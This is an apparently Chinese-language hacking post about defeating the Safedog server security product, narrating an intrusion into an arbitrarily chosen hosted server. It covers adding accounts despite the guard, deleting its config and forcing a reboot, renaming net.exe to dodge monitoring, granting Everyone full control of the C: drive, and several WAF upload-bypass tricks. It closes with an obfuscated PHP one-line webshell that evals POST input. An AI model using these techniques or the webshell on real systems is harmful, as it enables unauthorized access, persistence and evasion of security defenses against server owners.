突破安全狗之2016

一：

无聊随便找了一个站，拿shell华众的主机，只是服务端的服务器，只支持asp，无ws组件
一阵乱翻后，发现有su，直接上个大马，默认密码没改，端口也是开启的，whoami下，是system权限
以为可以拿下的时候，发现了狗，阻止我加用户，不过狗只是阻止了net而已，我们可以用无nei的api添加用户
有了账户，远程端口20365，mstsc，一连接就断开，不给我登录的机会啊，后来在群里问了各位大神，原来又是狗，计算机名白名单

 

有两种办法
第一种：下载配置文件D:\Program Files\SafedogServer\SafeDogGuardCenter\ProGuardData.ini，本地搭建一个安全狗，把配置文件覆盖进去，就可以看到规则，然后本地修改
第二种：直接删除配置文件，重启服务器（shutdown -r -f -t 1），这样风险比较大！

我是直接第二种，重启后可以连接了，问题又来了，通过api添加的账户，视乎没加进administrators组，所以没有权限登录
百度了很久，看到一文章：安全狗对net文件的监控 可以通过改名 绕过这个限制
上传一个net.exe，命名为1.txt，把用户加入remote desktop users组
登录的时候问题又来了

 

继续百度走起，发现是C:\document and settin文件夹的权限问题，直接改整个C盘cmd /c cacls.exe c: /e /t /g everyone:F，终于可以登

 

 

 

二：

 

绕过安全狗上传文件,测试已成功

过程:
原本想利用windows下面不允许的文件名做测试的
比如 a./php 我认为会变成a.php 结果变成了a
然后我又想用% (iis下面会变成空字符) 结果来个502...
测试发现 安全狗会死拦截 *.PHP* 只有有 ".PHP" 存在 就拦截...
于是,我试了一下改from-data,没想到。。成功了

 

 

三：

测试环境 iis6.0与网站安全狗 

 

我试了两次 第一次改成了jpga 第二次是jpg，都成功了 
貌似a.php   ;.jpg这类安全狗会认为是a.php%20%20 但是浏览器访问都没问题

 

 

四：

安全狗不认a%nd 这些 

给关键字加入%直接by pass 

 

 

 

 

 

 

 过狗一句话：

<?php $xy = "eval"; $xy .= "(";$xy .= "$";$xy .= "_PO";$xy .= "ST['akkuman']);";@eval($xy);?>